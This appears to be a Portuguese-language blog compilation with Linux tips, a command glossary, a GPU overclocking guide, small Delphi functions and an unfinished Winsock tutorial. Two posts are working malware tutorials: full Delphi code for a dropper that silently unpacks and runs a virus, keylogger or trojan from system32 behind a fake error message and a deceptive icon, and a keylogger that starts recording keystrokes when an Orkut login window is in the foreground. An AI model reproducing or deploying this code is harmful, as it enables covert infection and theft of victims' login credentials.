quinta-feira, 28 de abril de 2011

Teclas de emergência do GNU/Linux

Essa é uma ótima dica para quem usa linux, quem é que já não se deparou com um travamento causado por mal-funcionamento de hardware no Linux? Este tópico ensina a usar as teclas de emergência do kernel.

Desligando o computador
A primeira combinação de emergência é usada para sincronizar os discos e
desligar o computador instantaneamente evitando problemas nos sistemas de arquivos.
Ela é ideal para quem precisa desligar o computador rapidamente sem danificar seus
sistemas de arquivos, ou quando a máquina trava e por qualquer motivo não permite um
desligamento natural através do init.

Mantendo ALT pressionado, tecle Print Screen e depois O.

Reiniciando o computador
Assim como o Ctrl+Alt+Del do MS-DOS o kernel do Linux também possui uma chamada de
emergência que permite reiniciar a máquina, com a vantagem de sincronizar os discos evitando
danos no sistema de arquivos. Veja como fazer:

Mantendo ALT pressionado, tecle Print Screen e depois B.

Sincronizando os discos
Se você acha que a força vai cair e precisa trabalhar até a ultima hora mas tem medo de danificar
seu sistema de arquivo, poderá sincronizar seus discos de tempos em tempos.
Para sincronizar discos em caso de emergência:

Mantendo ALT pressionado, tecle Print Screen e depois S.

Segurança
Se por algum motivo algo está ameaçando a segurança do seu sistema, como a execução
acidental de um script malicioso como root ou de programa desconhecido, poderá colocar os
discos como somente leitura e evitar danos mais sérios.

Mantendo ALT pressionado, tecle Print Screen e depois U.

COMANDOS LINUX

Comandos de Controlo e Acesso


exitTerminar a sessão, ou seja, a shell (mais ajuda digitando man sh ou man csh)
logoutDeslogar, ou seja, terminar a sessão actual, mas apenas na C shell e na bash shell
passwdMudar a password do nosso utilizador
rloginLogar de forma segura noutro sistema Unix/Linux
sshSessão segura, vem de secure shell, e permite-nos logar num servidor através do protocolo ssh
sloginVersão segura do rlogin
yppasswdMudar a password do nosso utilizador nas páginas amarelas (yellow pages)
Comandos de Comunicações


mailEnviar e receber emails
mesgPermitir ou negar mensagens de terminal e pedidos de conversação (talk requests)
pineOutra forma de enviar e receber emails, uma ferramenta rápida e prática
talkFalar com outros utilizadores que estejam logados no momento
writeEscrever para outros utilizadores que estejam logados no momento
Comandos de Ajuda e Documentação


aproposLocaliza comandos por pesquisa de palavra-chave
findLocalizar ficheiros, como por exemplo: find . -name *.txt -print, para pesquisa de ficheiros de texto por entre os ficheiros da directoria actual
infoLança o explorador de informações
manManual muito completo, pesquisa informação acerca de todos os comandos que necessitemos de saber, como por exemplo man find
whatisDescreve o que um determinado comando é
whereisLocalizar a página de ajuda (man page), código fonte, ou ficheiros binários, de um determinado programa
Comandos de Edição de Texto


emacsEditor de texto screen-oriented
picoEditor de texto screen-oriented, também chamado de nano
sedEditor de texto stream-oriented
viEditor de texto full-screen
vimEditor de texto full-screen melhorado (vi improved)
Comandos de Gestão de Ficheiros e Directorias


cdMudar de directoria actual, como por exemplo cd directoria, cd .., cd /
chmodMudar a protecção de um ficheiro ou directoria, como por exemplo chmod 777, parecido com oattrib do MS-DOS
chownMudar o dono ou grupo de um ficheiro ou directoria, vem de change owner
chgrpMudar o grupo de um ficheiro ou directoria
cmpCompara dois ficheiros
commSelecciona ou rejeita linhas comuns a dois ficheiros seleccionados
cpCopia ficheiros, como o copy do MS-DOS
cryptEncripta ou Desencripta ficheiros (apenas CCWF)
diffCompara o conteúdo de dois ficheiros ASCII
fileDetermina o tipo de ficheiro
grepProcura um ficheiro por um padrão, sendo um filtro muito útil e usado, por exemplo um cat a.txt | grep ola irá mostrar-nos apenas as linhas do ficheiro a.txt que contenham a palavra “ola”
gzipComprime ou expande ficheiros
lnCria um link a um ficheiro
lsLista o conteúdo de uma directoria, semelhante ao comando dir no MS-DOS
lsofLista os ficheiros abertos, vem de list open files
mkdirCria uma directoria, vem de make directory”
mvMove ou renomeia ficheiros ou directorias
pwdMostra-nos o caminho por inteiro da directoria em que nos encontramos em dado momento, ou seja apathname
quotaMostra-nos o uso do disco e os limites
rmApaga ficheiros, vem de remove, e é semelhante ao comando del no MS-DOS, é preciso ter cuidado com o comando rm * pois apaga tudo sem confirmação por defeito
rmdirApaga directorias, vem de remove directory
statMostra o estado de um ficheiro, útil para saber por exemplo a hora e data do último acesso ao mesmo
syncFaz um flush aos buffers do sistema de ficheiros, sincroniza os dados no disco com a memória, ou seja escreve todos os dados presentes nos buffersda memória para o disco
sortOrdena, une ou compara texto, podendo ser usado para extrair informações dos ficheiros de texto ou mesmo para ordenar dados de outros comandos como por exemplo listar ficheiros ordenados pelo nome
tarCria ou extrai arquivos, muito usado como programa de backup ou compressão de ficheiros
teeCopia o input para um standard output e outros ficheiros
trTraduz caracteres
umaskMuda as protecções de ficheiros por defeito
uncompressRestaura um ficheiro comprimido
uniqReporta ou apaga linhas repetidas num ficheiro
wcConta linhas, palavras e mesmo caracteres num ficheiro
Exibição ou Impressão de Ficheiros


catMostra o conteúdo de um ficheiro, como o comando type do MD-DOS, e é muito usado também para concatenar ficheiros, como por exemplo fazendo cat a.txt b.txt > c.txt” para juntar o ficheiro a.txt e b.txt num único de nome c.txt
foldEncurta, ou seja, faz um fold das linhas longas para caberem no dispositivo de output
headMostra as primeiras linhas de um ficheiro, como por exemplo com head -10 a.txt, ou usado como filtro para mostrar apenas os primeiros x resultados de outro comando
lpqExamina a spooling queue da impressora
lprImprime um ficheiro
lprmRemove jobs da spooling queue da impressora
moreMostra o conteúdo de um ficheiro, mas apenas um ecrã de cada vez, ou mesmo output de outros comandos, como por exemplo ls | more
lessFunciona como o more, mas com menos features, menos características e potenciais usos
pageFunciona de forma parecida com o comando more, mas exibe os ecrãs de forma invertida ao comandomore
prPagina um ficheiro para posterior impressão
tailFunciona de forma inversa ao comando head, mostra-nos as últimas linhas de um ficheiro ou mesmo do output de outro comando, quando usado como filtro
zcatMostra-nos um ficheiro comprimido
xvServe para exibir, imprimir ou mesmo manipular imagens
gvExibe ficheiros ps e pdf
xpdfExibe ficheiros pdf, usa o gv
Comandos de Transferência de Ficheiros


ftpVem de file transfer protocol, e permite-nos, usando o protocolo de transferência de ficheirosftp, transferir ficheiros entre vários hosts de uma rede, como aceder a um servidor de ftp para enviar ou puxar ficheiros
rsyncSincroniza de forma rápida e flexível dados entre dois computadores
scpVersão segura do rcp
Comandos de Notícias ou Rede


netstatMostra o estado da rede
rshCorre umam shell em outros sistemas UNIX
sshVersão segura do rsh
nmapPoderoso port-scan, para visualizarmos portas abertas num dado host
ifconfigVisualizar os ips da nossa máquina, entre outras funções relacionadas com ips
pingPingar um determinado host, ou seja, enviar pacotes icmp para um determinado host e medir tempos de resposta, entre outras coisas
Comandos de Controlo de Processos


killMata um processo, como por exemplo kill -kill 100ou kill -9 100 ou kill -9 %1
bgColoca um processo suspenso em background
fgAo contrário do comando bg, o fg traz de volta um processo ao foreground
jobsPermite-nos visualizar jobs em execução, quando corremos uma aplicação em background, poderemos ver esse job com este comando, e termina-lo com um comando kill -9 %1, se for o jobnúmero 1, por exemplo
topLista os processos que mais cpu usam, útil para verificar que processos estão a provocar um uso excessivo de memória, e quanta percentagem decpu cada um usa em dado momento
^ySuspende o processo no próximo pedido de input
^zSuspende o processo actual
Comandos de Informação de Estado


clockDefine a hora do processador
dateExibe a data e hora
dfExibe um resumo do espaço livre em disco
duExibe um resumo do uso do espaço em disco
envExibe as variáveis de ambiente
fingerPesquisa informações de utilizadores
historyLista os últimos comandos usados, muito útil para lembrar também de que comandos foram usados para fazer determinada acção no passado ou o que foi feito em dada altura
lastIndica o último login de utilizadores
lpqExamina a spool queue
manpathMostra a path de procura para as páginas do comando man
printenvImprime as variáveis de ambiente
psLista a lista de processos em execução, útil para saber o pid de um processo para o mandar abaixo com o comando kill, entre outras coisas
pwdMostra-nos o caminho por inteiro da directoria em que nos encontramos em dado momento, ou seja apathname
setDefine variáveis da sessão, ou seja, da shell, na C shell, na bash ou na ksh
spendLista os custos ACITS UNIX até à data
timeMede o tempo de execução de programas
uptimeDiz-nos há quanto tempo o sistema está funcional, quando foi ligado e o seu uptime
wMostra-nos quem está no sistema ou que comando cada job está a executar
whoMostra-nos quem está logado no sistema
whoisServiço de directório de domínios da Internet, permite-nos saber informações sobre determinados domínios na Internet, quando um domínio foi registado, quando expira, etc
whoamiDiz-nos quem é o dono da shell
Comandos de Processamento de Texto


abiwordProcessador de Texto Open Source
addbibCria ou modifica bases de dados bibliográficas
colReverte o filtro a line feeds
dictionIdentifica sentenças com palavras
diffmkMarca diferenças entre ficheiros
dvipsConverte ficheiros TeX DVI em ficheiros PostScript
explainExplica frases encontradas pelo programa diction
grapPreprocessador pic para desenhar gráficos, usado em tarefas elementares de análises de dados
hyphenEncontra palavras com hífenes
ispellVerifica a ortografia de forma interactiva
latexFormata texto em LaTeX, que é baseado no TeX
pdfelatexPara documentos LaTeX em formato pdf
latex2htmlConverter LaTeX para html
lookbibEncontra referências bibliográficas
macrefCria uma referência cruzada listando ficheiros de macros nroff/troff
ndxCria uma página de indexação para um documento
neqnFormata matemáticas com nroff
nroffFormata texto para exibição simples
picProduz simples imagens para troff input
psditFiltra um output troff para a Apple LaserWriter
ptxCria uma indexação permutada mas não em CCWF
referInsere referências de bases de dados bibliográficas
roffbibFaz o run off de uma base de dados bibliográfica
sortbibOrdena uma base de dados bibliográfica
spellEncontra erros de ortografia
styleAnalisa as características superficiais de um documento
tblFormata tabelas para nroff/troff
texFormata texto
tpicConverte ficheiros pic source em comandos TeX
wgetPermite-nos fazer o download completo de páginas web, com todos os ficheiros, de forma fácil e não interactiva, sem exigir por isso presença do utilizador, respeitando também o ficheirorobots.txt
Web


html2psConversor de html para ps
latex2htmlConversor de LaTeX para html
lynxNavegador web baseado em modo de texto, ou seja, é um web browser que nos permite abrir todo o tipo de páginas visualizando apenas os textos elinks, não vendo assim as imagens, e sendo por isso bastante rápido, mas requere prática para ser manuseado
netscapeNavegador web da Netscape
sitecopyAplicação que nos permite manter facil e remotamente web sites
weblintVerificador de sintaxes e de estilos html

Como fazer overclocking em uma placa de video

Ficha Técnica

Componente: placa de vídeo
Dificuldade: nível três
Risco: médio

ferramentas

Nenhuma

Por Que Fazer

Este procedimento pode provocar danos à placa de vídeo, causando a perda de garantia. Por meio dele, conseguiremos elevar a velocidade de trabalho do GPU (processo gráfico da placa de vídeo) para que as tarefas possam ser realizadas com maior rápidez.

INTRODUÇÃO

Como o passar dos anos,a placa de vídeo assumiu um papel de protagonista na estrututa de computador, sobretudo para os amantes de vídeo games.
Atualmente, elas são imprescindíveis, e a potência delas deve ser máxima para que possamos nos divertir com jogos de última geração. Na hora de escolher uma placa de vídeo, além de observar se ela oferece saída para telas analógicas e digitais, devem prestar atenção a outros detalhes, tais como: velocidade de processamento gráfico, velocidade de RAMDAC, tipo de velocidade da memória embutida, e compartilhamento de interface de conexão com nossa placa -mãe (AGP ou PCIe).
Existem outras características fundamentais para que os vídeo games funcionem com fluídez: quantidades de bits da interface de memória e do núcleo, e compatibilidade com as últimas versões das APIs, OpenGL e DirectX. podemos também, encontrar como condições de destaque a aceleração para vídeo de alta definição.
Pelo que foi dito e pelos constantes avanços no campo dos vídeo games e das opções de multimídia, a placa de vídeo é um dos elementos de hardware que ficam obsoletos com maior rapidez. Portanto, é um dos aparatos ideais para realizarmos overclocking e, assim, evitarmos a perda de sua vigência.
Para realizar este procedimento, utilizaremos um aplicativo chamado RivaTuner.

Overclocking em uma placa de vídeo.

1- Entre na seção DOWNLOADS. Clique no link para obter o RivaTuner ou clique aqui. Assim que for concluído o download, execute o instalador do programa.

2- Entre no RivaTuner. Ao acessá-lo pela primeira vez, o sistema realizará uma verificação. Em seguida, será exibida a tela principal do programa. Selecione a guia Main e escolha a placa com a qual será feito o overclocking.

3- Na seção Driver settings, no item ForceWare detected, clique no botão que aparece à direita de Customize.

4- Aparecerão vários ícones. Clique em System settings (ícone com o desenho de uma placa de vídeo).

5- Uma nova janela aparecerá. posicione-se na guia Overclocking. Em seguida, ative a opção para realizar o overlocking sobre a placa de vídeo. Para isso, marque a caixa Enable driver-level hardware overlocking.

6- Aparecerá uma caixa de diálogo indicando que é recomendável reiniciar o sistema. Na maioria dos casos, isso não é necessário, mas, para nos assegurarmos, podemos reiniciar o equipamento. Clique no botão Detect Now.

7- Mova os controles de Core clock e Memory clock. É recomendável aumentar os valores aos poucos, até encontrar o ponto exato entre rendimentos e estabilidade.

8- Marque o item Apply overclocking at Windows startup. Em seguida, clique no botão Aplicar e, por último, em Aceitar. Após, reiniciar o equipamento para testar as alterações.

RivaTuner v2.24c

Versão: 2.24c
Editora: Desbobinador
Data adicionada: 2009-08-23 13:47:39
Tamanho do Arquivo: 2.6 MB
Suporte OS: Windows 2000/XP/Vista x64 e x32
Licença: Freeware
Downloads: 13758329 downloads
Tipo de software : Videocards - Overclocking & Tweaking




Descrição do Software
RivaTuner é um utilitário disponível para ajustar líder NVIDIA GeForce e ATI Radeon videocards base.
RivaTuner foi atualizado para a versão 2.24
RivaTuner tem um ambiente completo de ajustes poderosos, proporcionando-lhe tudo o que precisa para sintonizar adaptadores de vídeo baseados em NVIDIA GPU . O maior nível de driver Direct3D / OpenGL e opções de ajuste, sistema de perfis flexíveis que permitem fazer as configurações personalizadas do aplicativo por base, o motor de nível e de baixo nível de modos de acesso de hardware, recursos exclusivos de diagnóstico e em tempo real de hardware e exclusiva ferramentas de poder do usuário orientada a como built-in editor de registro e mecanismo de script patch fazer recurso RivaTuner do conjunto absolutamente incomparável. RivaTuner suporta todos os adaptadores de vídeo NVIDIA Riva partiu da família TNT até a mais nova série GeForce e a mais ampla gama de drivers da NVIDIA a partir do mais antigo Detonator 2,08 até o mais novo da família drivers ForceWare. Além disso, para completar NVIDIA dá suporte ao hardware, RivaTuner também fornece suporte para placas de vídeo baseadas em processadores gráficos mais recentes da ATI. Todas as características do RivaTuner além de opções de ajuste em nível de driver também estão disponíveis no hardware ATI suportada.

Como criar um auto instalador para meus vírus, keyloggers e trojans

Bom galera eu desenvolvi um método que eu chamo de método progmaster, consiste em compactar o arquivo que vai ser auto instalador 2 ou mais vezes, transformar em arquivo de recurso e criar uma pequena aplicação para extrai-los para uma pasta alvo.

Vamos começar então, primeiro baixe o compactador progmaster.

Após baixar o compactador, compacte o arquivo(seu vírus, keylogger, trojan ou qualquer outra coisa..) 2 vezes , nesse exemplo o nome que vou usar para o meu vírus vai ser arquivo.exe.

Vamos supor que o meu vírus está no disco local C:\


No compactador vou selecionar a origem e o destino:

na origem vai ficar assim: C:\arquivo.exe e em destino vai ficar C:\arquivocompactado.exe e em seguida clicaremos em compactar e será gerado o arquivo compactado.


Obs:
Onde C:\arquivo.exe é o nome inicial do nosso vírus
e C:\arquivocompactado.exe é o nome do nosso vírus compactado uma vez.


Depois que nosso vírus estiver compactado uma vez vamos compacta-lo novamente, execute o mesmo procedimento de compactação só que em origem coloque o nome do vírus compactado uma vez, vai ficar assim :

origem: C:\arquivocompactado.exe
destino: C:\arquivocompactado2.exe

Obs:
Onde C:\arquivocompactado.exe é o nome do nosso vírus compactado uma vez
e C:\arquivocompactado2.exe é o nome/caminho do nosso arquivo compactado pela segunda vez.

Depois de selecionar o caminho compacte o arquivo pela segunda vez

Nós compactamos 2 vezes o nosso vírus, o nome original dele é arquivo.exe e compactado 2 vezes agora está com o nome de arquivocompactado2.exe, o próximo passo é transformar o arquivocompactado2.exe em arquivo de recurso.

Abra o seu bloco de notas e digite o seguinte:

virus EXEs C:\arquivocompactado2.exe

Salve no disco local C:\ com o nome de virus.rc e após salvar você deve compilar, se você não souber usar muito bem arquivo de recursos recomendo que leia este post antes de continuar.



Após compilado deverá ser gerado um arquivo chamado virus.res.

Agora crie uma nova pasta em um diretório de sua escolha e abra o Delphi.

Salve a aplicação observando os seguintes detalhes:

Salva a unit com o nome de unitPrincipal e o projeto com o nome de extrator.
todos os nomes aqui dados para arquivos podem ser trocados...

copie o virus.res para a mesma pasta onde salvou o seu projeto e na unit de seu projeto abaixo de {$R *.dfm} acrescente {$R virus.res} deve ficar desse jeito:

implementation

{$R *.dfm}
{$R virus.res}


Abaixo de implementation acrescente Uses zLib; vai ficar assim


implementation

Uses zLib;

{$R *.dfm}
{$R virus.res}

Acrescente a seguinte procedure a seu projeto:

procedure virus;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'virus', 'EXEs');
Try
if not FileExists('C:\windows\system32\arquivocompactado2.exe') then
myresource.SavetoFile('C:\windows\system32\arquivocompactado2.exe');
finally
myresource.Free;
end;
end;

No evento Oncreate do form digite:

Application.ShowMainForm := False;
virus;

Adicione 2 Timers da paleta system:

Insira o seguinte código no evento Ontimer do timer 1:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivocompactado.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado2.exe', fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe', fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
end;


Altera a pripriedade interval do timer 2 para 1800 e insira o seguinte código no evento ontimer do timer 2:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivo.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe', fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivo.exe', fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
winexec ('C:\windows\system32\arquivo.exe',SW_hide);
end;

Após isso compile seu projeto e feche-o, está quase pronto...

Por ultimo trasforme o extrator em um arquivo de recurso, crie uma nova aplicação para extrair e executar-lo:

Vamos lá terminar logo isso... copie o extrator.exe que você acabou de criar para o disco local C:\

Abra o bloco de notas e digite :

extrator EXEs C:\extrator.exe

Salve com o nome de extrator.rc no disco local C:\

Compile. e após compilado será gerado o extrator.res

Crie uma nova pasta qualquer, copie o extrator.res para lá, crie uma nova aplicação no delphi e em seguida salve na mesma pasta onde está o extrator.res.

abaixo de {$R *.dfm} digite {$R extrator.res}

e logo abaixo de {$R extrator.res} digite:

procedure EXTRATOR;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'extrator', 'EXES');
Try
if not FileExists('C:\windows\extrator.exe') then
myresource.SavetoFile('C:\windows\extrator.exe
');
finally
myresource.Free;
end;
end;


e no evento Oncreate do form digite:

Application.ShowMainForm := False;
EXTRATOR;
winexec ('C:\windows\extrator.exe',SW_HIDE);
ShowMessage ('Erro ao executar arquivo, provavelmente está corrompido.');
Application.Terminate;

Compile o projeto e veja o resultado, e não se esqueça de escolher um bom ícone para enganar as vitimas.

Qualquer dúvida deixa um comentário.

Até a próxima


RLBoleto e Fortes Report para Delphi

Eu estava pesquisando sobre impressão de boletos bancários e vi o componente RLBoleto.
O RLBoleto é um componente OpenSource para Delphi que facilita muito a vida do programador.

O RLBoleto é um componente de impressão de boletos baseado no Fortes Report com toda a codificação necessária para gerar boletos para diversos bancos aqui do Brasil.

E para quem usa o Lazarus ao invés do Delphi, já disponibilizaram no site oficial a versão do RLBoleto e do Fortes Report para Lazarus.

Para quem quiser conferir segue os links abaixo:
Fortes Report: http://www.fortesreport.com.br/index.br.htm
RLBoleto: http://www.prosige.com.br/portal/

Até a próxima.

Como capturar dados de uma determinada janela?

Se você quer capturar dados de uma determinada janela, como por exemplo uma tela de algum sistema por algum motivo, ou de alguma pagina web o segredo é o seguinte:

1° Vamos verificar o caption da tela e ver se é a que nós queremos.

2° Vamos usar um código para capturar as teclas

mãos a obra:.

vou mostrar como fazer isso no orkut

Abra seu delphi insira 2 timers da paleta system e 1 memo da paleta standard



No timer 2 altera o interval para 1 e deixe a opção enabled como False e insira o seguinte código:

var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;

No timer 1 altere o interval para 1000 e deixe a opção enabled como true, insira o seguinte código:

var
title: array [ 0..500 ] of char;
hwnd1 : HWND;
TituloDoPrograma: string;
TextoAEnviar: string;
begin
hwnd1 := GetForegroundWindow();
GetWindowText(hwnd1, title, 500);

if title = 'orkut - login - Windows Internet Explorer' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;

if title = 'orkut - login - Mozilla Firefox' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;

if title = 'orkut - login - Google Chrome' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;

Logo abixo de {$R *.dfm} coloque a seguinte função:

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

Pronto! compile para ver o resultado, assim que vc chegar na pagina do orkut usando o Explorer o FireFox ou o Chrome ele vai começar a capturar os dados que são digitados.


Sua unit deve ficar parecida com está:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
Label1: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
title: array [ 0..500 ] of char;
hwnd1 : HWND;
TituloDoPrograma: string;
TextoAEnviar: string;
begin
hwnd1 := GetForegroundWindow();
GetWindowText(hwnd1, title, 500);

if title = 'orkut - login - Windows Internet Explorer' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;

if title = 'orkut - login - Mozilla Firefox' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;

if title = 'orkut - login - Google Chrome' then
begin
timer2.Enabled := True;
timer1.Enabled := False;
exit;
end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;



end.


Função para formatar cpf no delphi

//Passe a string a ser formatada para a função.

Function FormataCPF(CPF : string): string;
begin
Result := Copy(CPF,1,3)+'.'+Copy(CPF,4,3)+'.'+Copy(CPF,7,3)+'-'+Copy(CPF,10,2);
end;

Função para completar String

Estou trazendo novamente uma função simples porem muito boa para facilitar o desenvolvimento em Delphi.
A função abaixo (funCompletaCampo) serve para preencher automaticamente um campo com um valor String padrão.
Por exemplo: Completar com zeros a esquerda ou a direita de um determinado campo.

Segue abaixo a função e um pequeno exemplo de utilização.

function TFrmPrincipal.funCompletaCampo(pStrValor, pStrMascara, pStrLado: String; pIntTamanho: Integer): String;
var
lIntCont: Integer;
begin
Result := '';
for lIntCont := 1 to (pIntTamanho - Length(pStrValor)) do
Result := Result + pStrMascara;

if UpperCase(pStrLado) = 'E' then
Result := Result + pStrValor
else
Result := pStrValor + Result;
end;

procedure TFrmPrincipal.BtnTeste(Sender: TObject);
begin
EdtTeste.Text := funCompletaCampo(EdtTeste.Text, '0', 'E', 6);
end;

Os parametros da função são o seguinte:
pStrValor: Valor original
pStrMascara: Qual o caracter que será adicionado ao valor original
pStrLado: Qual lado será adicionado o pStrMascara, 'D' -> Direita, 'E' -> Esquerda
pIntTamanho: Qual o tamanho que o campo deve ter
O Result dessa função é um String preenchido pelo valor original mais a mascara adicionada.

Obrigado e até a próxima.

Utilizando o Winsock em Delphi

É muito comum o uso dos componentes ClientSocket e ServerSocket quando queremos trabalhar com aplicações que utilizam sockets em Delphi.

Neste breve tutorial, iremos abordar o uso da API nativa do Windows para trabalharmos com sockets - WSA ou Winsock API.

Na tentativa de simplificar e melhorar a compreensão do artigo, iremos trabalhar no modo console ao invés do modo gráfico - eu acho console muito estiloso ^^.

Neste artigo, utilizei a versão 7 do Delphi.
Para criar um novo programa console, faça o seguinte:

1. Vá até o Menu File » New » Other (Arquivo, novo, outro);
2. Na aba New (Novo) selecione Console Application (Aplicação Console);
3. OK

Bem, vejamos um simples programa para console em Delphi:
program programa1; // Nome do programa

{$APPTYPE CONSOLE}

uses
SysUtils;

begin
// Código aqui !
end.
Assim como nas linguagens C, C++, Perl e Visual Basic, por exemplo, devemos incluir headers/módulos/bibliotecas para podermos trabalhar com sockets.

Como iremos trabalhar com o Winsock, deveremos incluir todas as referências necessárias, veja:
program programa1;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock; // inclui-se a unit Winsock para trabalharmos com a API do Winsock

begin
// Código aqui !
end.
O primeiro passo a ser tomado para que possamos trabalhar com o Winsock, é inicializar sua biblioteca - WSOCK32.DLL - através da função WSAStartup:
program programa1;

{$APPTYPE CONSOLE}

uses
SysUtils,Winsock;

var
